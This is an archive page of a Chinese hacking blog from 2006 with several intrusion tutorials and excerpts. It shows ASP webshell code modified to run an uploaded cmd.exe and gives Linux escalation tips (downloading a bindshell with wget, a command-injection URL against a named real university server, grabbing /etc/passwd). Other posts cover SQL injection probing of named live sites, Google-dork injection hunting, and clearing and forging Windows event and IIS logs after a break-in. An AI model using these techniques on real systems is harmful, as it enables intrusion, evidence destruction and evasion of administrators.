GOGO BLOG

GOGO

  DonewsBlog  |  Donews首页  |  Donews社区  |  Donews邮箱  |  我的首页  |  联系作者  |  聚合   |  登录
  157篇文章 :: 0篇收藏:: 112篇评论:: 3个Trackbacks

文章

收藏

相册

友情连接

存档


正在读取评论……


2006年01月



    摘要:如何增加网络排名    (全文共1227字)——点击此处阅读全文




    摘要:

现在,注入漏洞异常火爆,不少黑友都利用该漏洞过了一把黑客瘾,并拥有了不少自己的肉鸡。不过对于小菜们来说,注入入侵也并不是那么一帆风顺,尤其是在注入点的寻找以及获得WebShell后的提升权限问题上。在这里,我给广大初学注入入侵的小菜们提供一种快速获取sa权限注入点入侵目标主机的办法。高手可以跳过本文,或者就当是复习吧。
获取注入点的方法不外乎两种:手工寻找和利用注入工具寻找。对于前者,多数是用搜索引擎来找特定的网址(形如xxx.asp?xxid=),对于后者,则是针对具体某个站点用注入工具扫描注入点。不过,你有没有考虑过把这两种方法结合起来使用呢?我就倾向于二者的组合使用,方法如下:
在阿D注入工具中的“扫描注入点”功能模块的地址栏里输入并转到google的网址,选择“高级搜索”,在搜索结果栏中选择“100项结果”,语言选择“简体中文”,关键字填:xxx inurl:asp或是inurl:XX.asp?id=、inurl:xxx.asp?xxid等,这些都是我们常见的可    (全文共3905字)——点击此处阅读全文




有很多朋友问他得到了一个WEBSHELL,但是想用命令提示查看用户信息什么的,但是很多主机限制了执行命令,所以很多WEBSHELL就不能失去了很大的功能......我就以ASP站长助手6.0为例把它上传到一个禁止执行的虚拟主机,然后上传一个CMD.exe,然后调用你上传的CMD来执行命令......

本来想搞图文教程的,但感觉太简单,文字就可以说明清楚了


1.打开ASP站长助手6.0点击命令提示符,显示"没有权限"
2.用ASP站长助手6.0上传功能上传一个CMD.exe(在WIN\system32\cmd.exe)到你的WEBSHELL目录(其它目录也行,把上传以后的CMD.exe绝对路径COPY出来)
3.修改你的webshell找到调用CMD.exe的代码

Function CmdShell()
If Request("cmd")<>"" Then
DefCmd = Request("cmd")
Else
DefCmd = "Dir "&Session("FolderPath")
End If
SI="
"
SI=SI&""
SI=SI&""

SI=SI&server.createobject("wscript.shell").exec("cmd.exe /c "&DefCmd).stdout.readall

SI=SI&Chr(13)&"Rar命令行压缩示例:c:\progra~1\winrar\rar.exe a d:\web\test\web1.rar d:\web\test\web1"
Response.Write SI
End Function

修改成以下载的代码

Function CmdShell()
If Request("cmd")<>"" Then
DefCmd = Request("cmd")
Else
DefCmd = "Dir "&Session("FolderPath")
End If
SI=" "
SI=SI&""
SI=SI&""

SI=SI&server.createobject("wscript.shell").exec("你想上传的cmd.exe绝对路径 /c "&DefCmd).stdout.readall

SI=SI&Chr(13)&"Rar命令行压缩示例:c:\progra~1\winrar\rar.exe a d:\web\test\web1.rar d:\web\test\web1
"
Response.Write SI
End Function


为了大家看得清楚把要修改的提出来就可以

原来的:
SI=SI&server.createobject("wscript.shell").exec("cmd.exe /c "&DefCmd).stdout.readall
修改成:
SI=SI&server.createobject("wscript.shell").exec("你想上传的cmd.exe绝对路径 /c "&DefCmd).stdout.readall


比如你上伟到的目录是D:\web\www\cmd.exe那么就修改成:
SI=SI&server.createobject("wscript.shell").exec("D:\web\www\cmd.exe /c "&DefCmd).stdout.readall

这样你的WEBSHELL中的命令提示符就可以用了......

webshell 提升 for linux

在zone-h得到了答案,他们是这样干的
用wget把bindshell下载到/tmp/目录下
或者再/etc/inetd.conf可写的情况下直接开一个交互的shell
然后用gcc编译
http://cgiserver.sogang.ac.kr/~gsviscom/cgi-bin/technote/main.cgi/shop.pdf?down_num=5466654&board=rebarz99&command=down_load&filename=rb9.txt|ls%20-al|
ls -al显示文件

||中间的是显示的命令
很简单的办法是得到用户

最基本的办法是得到用户列表然后用流光跑密码

.... etc/passwd





    摘要:

某日,为了找个免费的asp.net空间我转悠到了站长之家http://www.yisou8.com,令人失望的是几条asp.net空间信息根本就没法用,浪费了偶的注册时间,怎“郁闷”两字了得?!
于是,我决定帮忙监测一下网站有没有洞洞?很失望啊,很失望,在网站首页的所有潜在注入点都“试射”了一遍,没有发现一个可以利用的。郁闷之际,看到“美女图库”分栏目,决定进取看看MM图片休闲一下。
图1
一、挖掘注入点
习惯性的再加个单引号http://www.yisou8.com/sucai/index.asp?catid=4',这次又有了新的发现,幸亏我观察得仔细啊,两次返回的图片不一样,大家看看两次的图片对比。
当提交第一个网址的时候,返回正常页面,提交第二个网址的时候返回另一个页面的信    (全文共4955字)——点击此处阅读全文





    摘要:推荐:动网7.x权限提升漏洞原理    (全文共10945字)——点击此处阅读全文



时刻默默无闻地记录着您在计算机上的一举一动……

    这意味着什么……

    这意味着:如果计算机出了故障或者崩溃,我们就可以从日志文件中找到引起系统故  障或崩溃的蛛丝马迹!

    这也意味着:如果是你秘密潜入别人的计算机,你的行踪也毫不例外的被Windows一一记录,网络管理员就可通过日志来跟踪、发现黑客

作为网络管理员,如何来优化、保护日志呢?而作为黑客,又将如何来毁灭日志、伪造日志呢?一场由Windows日志引发的较量正在激情上演……

鉴于日志在系统安全中举足轻重的作用,一个有经验的管理员往往能够迅速通过日志了解到系统的安全性能,而一个聪明的黑客往往会在入侵成功后迅速清除掉对自己不利的日志,甚至伪造出一份日志以此来误导网管。

 

一、与日志亲密接触

Windows的日志文件通常有应用程序日志,安全日志、系统日志、DNS服务器日志、FTP日志、WWW日志等等,可能会根据服务器所开启的服务不同。

Windows的应用程序日志、安全日志、系统日志、DNS日志默认位置为:%sys temroot%\
system32\config
,默认文件大小512KB,管理员可以自行改变这个默认大小。这些LOG文件在注册表中的位置为(如图1):HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Eventlog

 

1


网管 VS <a class='Channel_KeyLink' href='http://www.3800cc.com'>黑客</a> 日志大战Windows日志

 

小知识:安全日志文件名称为SecEvent.evt,系统日志文件名称为SysEvent.evt,应用程序日志文件名称为AppEvent.evt Internet信息服务FTP日志默认位置:%systemroot%\system32\logfiles\msftpsvc1\Internet信息服务WWW日志默认位置:%systemroot%\system32\logfiles\w3svc1\FTPWWW默认每天产生一个日志。

二、通过日志找黑客

如果想全盘掌握计算机在最近时间内的操作,只要查阅相关的日志就可以知晓。这里就通过实例分析一个WWW日志,看看是如何发现访问者的踪迹的。

我们知道,WWW日志默认情况下每天生成一个日志文件,包含了该日的一切记录,文件名通常为ex(年份)(月份)(日期),例如ex041010,就是20041010日产生的日志,用记事本就可直接打开。下面是一个典型的WWW日志文件内容片段:

#Software: Microsoft Internet Information Services 5.0  (微软IIS5.0)

#Version: 1.0  (版本1.0)

#Date: 20041010 07:31 (服务启动时间日期)

#Fields: date time cip csusername sip sport csmethod csuristem csuriquery scstatus cs(UserAgent) 

20041010 09:29 220.202.242.10 220.202.242.98 80 GET /default.asp 200 Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98;+DigExt) 

20041010 10:15 220.202.242.25 220.202.242.98 80 GET /vod/default.asp 200 Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98;+DigExt) 

…………

通过分析第五行,就可以得知20041010日,IP地址为220.202.242.10的用户通过访问IP地址为220.202.242.10机器的80端口,查看了一个网页default.asp。并且还可以知道该用户的浏览器为IE 5.0

小提示:其实,这些在系统日志和安全日志中也会进行记录,不过只显示了你的机器名,并没有你的IP。所以即使你删掉FTP和WWW日志,在系统日志和安全日志还是会有记录。

三、 日志保护跟我来

Windows日志引发的较量,其实就是网络管理员和非法入侵者的较量。作为一名合格的网络管理员,如何来优化、保护日志呢?

1.优化配置日志

我们知道,日志的默认大小为512KB,如果超出则会报错,并且不会再记录任何日志。所以要优化配置日志,首要任务是更改默认大小,具体方法:在注册表中展开如下子键:HKEY_LOCAL_MACHINE\
System\CurrentControlSet\Services\Eventlog
对应的每个日志如系统、安全、应用程序等均有一个Maxsize键值,将其更改为一个合适的大小(建议至少要能容纳一个星期的记录),如图2所示。

 

2

网管 VS <a class='Channel_KeyLink' href='http://www.3800cc.com'>黑客</a> 日志大战Windows日志

 

小提示:为了防止他人轻意发现、查看日志定位到一个隐藏的位置。

 

2.定时备份日志

网络管理员应该养成备份日志的良好习惯,要备份日志,推荐使用微软的resource Kit工具包中的dumpel.exe,其语法格式为:dumpel -f file [-s \\server] [-l log [-m source]] [-e n1 n2 n3..] [-r] [-t] [-dx] ,其中-l log可选的有:systemsecurityapplication等。 若想把目标服务CATV上的系统日志转存为bksystem.log,只要运行如下命令即可:dumpel -f bksystem.log -s \\CATV -l system

 

四、日志的清除伪造

难道因为有日志记录,黑客就停止了入侵吗?不!这是不可能的,日志记录了我们的行踪,把它清除掉不就得了!然后再伪造一份假的日志,想找到我,没门!

1.清除日志很简单

成功入侵后,黑客要做的第一件事就是清除日志,下面先来看看如何清除安全日志、系统日志、应用程序日志,借助小榕的Elsave.exe就可以轻松实现。这里假设已经获取了目标主机的管理员帐户,并允许IPC连接。首先与对方建立IPC会话:net use \\192.168.0.2 123 /user:snow ,然后运行如下命令:

E:\ELSAVE.EXE -s \\192.168.0.2 -l "system" -C

E:\ELSAVE.EXE -s \\192.168.0.2 -l "application" -C

E:\ELSAVE.EXE -s \\192.168.0.2 -l "security" –C

 

这样就依次清除了系统日志,应用程序日志,安全日志了(如图3)!其实利用这个软件还可进行备份日志,只要加一个参数 -f filename就可以了。

 

3

网管 VS <a class='Channel_KeyLink' href='http://www.3800cc.com'>黑客</a> 日志大战Windows日志

 

还一种比较简单但有点费时的方法:在“管理工具”中打开“事件查看器”,点击“操作”菜单中的“连接到另一台计算机”项,选择“连接到另一台计算机”,输入远程计算机的IP,连接成功后,选择右侧窗口中远程计算机的“安全性”日志,右击并选择“属性”,在弹出的“安全性 属性”对话框中,点击“清除日志”按钮(如图4),OK!安全日志清除完毕,同样可以清除系统日志及应用程序日志。

 

4

网管 VS <a class='Channel_KeyLink' href='http://www.3800cc.com'>黑客</a> 日志大战Windows日志

 

而要清除WWW日志,就稍微麻烦一点了。如果目标主机允许以图形界面远程登录的话,这就好办了。登录后直接用记事本打开日志文件,把内容清空然后保存即可。

另外,还可以通过停止WWW服务来彻底清除,运行命令:net stop w3svc,将w3svc服务停止,接着转移到WWW日志存放目录,运行命令:del *.*,然后再重新开启w3svc服务net start w3svc

 

小提示:FTPScheduler日志的清除与WWW类似。

 

2.伪造日志并不难

删除日志后,任何一个有头脑的管理员面对空空的日志,马上就会反应过来被入侵了,所以一个聪明的黑客得学会如何来伪造日志。

我们可以利用脚本编程来伪造日志(要略懂一些脚本编程才行哦~~~),当然,还有一种简单的办法,那就是利用Windows XP中的命令行工具eventcreate.exe,它能够创建一个自定义事件 ID 和消息于某指定事件日志里。其用法如下:

EVENTCREATE [/S system [/U username [/P [password]]]] /ID eventid [/L logname] [/SO srcname] /T type /D description。

例如,要在本地创建一个系统日志,日至来源为administrator,日志类型是警告,描述为“this is a test”,事件ID为500,使用命令:

eventcreate -l system -so administrator -t warning -d "this is a test" -id 500

随着网络技术的不断发展,日志的较量将愈演愈烈……





    摘要:

注:出于对目标网站的安全考虑,本文屏蔽大部分关于目标网站的资料,敬请谅解。

元旦到了,学校终于给我们放了2天假,于是我用这宝贵的休息时间到网上溜了一圈,随意浏览中偶然发现了一个刚成立不久的门户型搜索引擎,出于习惯对其进行了一番安全检查,结果哑然,网站竟然出现了注入漏洞,而且还是SQL+SA连接,当时我的感觉就是这个网站应该算是over了。由于这个网站分两部分,门户页面和用户交互页面分别使用两个独台独立的服务器,superscan一扫,只有门户服务    (全文共3521字)——点击此处阅读全文